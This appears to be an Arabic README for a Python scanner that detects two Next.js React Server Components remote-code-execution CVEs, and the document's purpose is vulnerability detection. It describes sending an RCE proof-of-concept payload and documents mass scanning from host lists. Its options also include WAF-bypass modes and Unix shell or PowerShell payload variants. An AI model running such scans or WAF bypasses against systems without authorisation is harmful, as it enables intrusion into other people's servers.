
أداة كشف لـ CVE-2025-55182 وCVE-2025-66478 في Next.js RSC RCE
ماسح ضوئي لسطر الأوامر عالي الدقة لكشف CVE-2025-55182 و CVE-2025-66478 (تنفيذ التعليمات البرمجية عن بُعد) في تطبيقات Next.js التي تستخدم مكونات خادم React (RSC).
تؤثر هذه الثغرات الحرجة على تطبيقات Next.js التي تستخدم مكونات خادم React، مما يسمح بتنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر طلبات POST متعددة الأجزاء مُصمّمة بعناية.
الإصدارات المتأثرة:
للتفاصيل التقنية، راجع: Assetnote Research
يرسل الماسح الضوئي طلب POST متعدد الأجزاء مُصممًا بعناية يحتوي على حمولة إثبات المفهوم RCE تنفذ عملية حسابية حتمية (41*271 = 11111). تعيد المضيفات المعرّضة للثغرة النتيجة في ترويسة الاستجابة بالشكل .
X-Action-Redirect/login?a=11111| الوضع | الوصف | حالة الاستخدام |
|---|---|---|
| RCE PoC (افتراضي) | ينفذ عملية حسابية غير ضارة على الهدف | تأكيد سريع لوجود الثغرة |
| Safe Check | كشف عبر القناة الجانبية باستخدام استجابات الأخطاء | عندما لا يكون تنفيذ التعليمات البرمجية مرغوبًا |
# Clone the repository
git clone https://github.com/YOUR_USERNAME/react2shell-scanner.git
cd react2shell-scanner
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python scanner.py -u https://example.com
# Scan multiple targets from file
python scanner.py -l hosts.txt
# Multi-threaded scan with JSON output
python scanner.py -l hosts.txt -t 20 -o results.json
# Scan with custom headers
python scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
# Safe detection mode (no code execution)
python scanner.py -u https://example.com --safe-check
# Scan Windows targets
python scanner.py -u https://example.com --windows
# WAF bypass mode
python scanner.py -u https://example.com --waf-bypass
# Vercel-specific WAF bypass
python scanner.py -u https://example.com --vercel-waf-bypass
# Combine options
python scanner.py -l hosts.txt -t 50 --waf-bypass --windows -o results.json
| الخيار | الوصف |
|---|---|
-u, --url | عنوان URL واحد للفحص |
-l, --list | ملف يحتوي على المضيفات (مضيف واحد لكل سطر) |
-t, --threads | عدد الخيوط المتزامنة (الافتراضي: 10) |
--timeout | مهلة الطلب بالثواني (الافتراضي: 10) |
-o, --output | ملف الإخراج للنتائج (صيغة JSON) |
--all-results | حفظ جميع النتائج، وليس المضيفات المعرّضة فقط |
-v, --verbose | تضمين نص الاستجابة في الإخراج |
-q, --quiet | إخراج المضيفات المعرّضة فقط |
--no-color | تعطيل الإخراج الملون في الطرفية |
-k, --insecure | تعطيل التحقق من شهادة SSL |
-H, --header | ترويسة مخصصة (يمكن استخدامها عدة مرات) |
--safe-check | استخدام الكشف الآمن عبر القناة الجانبية بدلاً من RCE PoC |
--windows | استخدام حمولة Windows PowerShell بدلاً من قشرة Unix |
--waf-bypass | إضافة بيانات غير ضرورية لتجاوز فحص محتوى WAF |
--waf-bypass-size | حجم البيانات غير الضرورية بالكيلوبايت (الافتراضي: 128) |
--vercel-waf-bypass | استخدام متغير حمولة تجاوز WAF الخاص بـ Vercel |
╔═══════════════════════════════════════════════════════════════╗
║ react2shell-scanner ║
║ CVE-2025-55182 & CVE-2025-66478 Detection Tool ║
╚═══════════════════════════════════════════════════════════════╝
┌─────────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├─────────────────────────────────────────────────────────────┤
│ Targets: 5 │
│ Threads: 10 │
│ Detection Mode: RCE PoC │
│ Payload Type: Unix (Shell) │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ TARGET: https://example.com │
├─────────────────────────────────────────────────────────────┤
│ Status: 🟢 SAFE │
│ HTTP Status: 200 │
│ Response Time: 245.32ms │
│ Server: Vercel │
└─────────────────────────────────────────────────────────────┘
═════════════════════════════════════════════════════════════════
SCAN SUMMARY
═════════════════════════════════════════════════════════════════
Total Targets: 5
Vulnerable: 0
Safe: 5
Total Scan Time: 2.34s
═════════════════════════════════════════════════════════════════
عند استخدام -o results.json، تُحفظ النتائج بصيغة JSON:
[
{
"url": "https://vulnerable-site.com",
"vulnerable": true,
"message": "RCE confirmed: X-Action-Redirect = /login?a=11111",
"status_code": 200,
"response_time": 342.15,
"server": "Next.js",
"payload_type": "rce-poc (Unix)",
"x_action_redirect": "/login?a=11111"
}
]
هذه الأداة مخصصة لاختبارات الأمان المصرح بها فقط. استخدم هذا الماسح الضوئي فقط ضد الأنظمة التي لديك إذن صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني.
المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.
المساهمات مرحب بها! لا تتردد في تقديم طلب سحب (Pull Request).
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)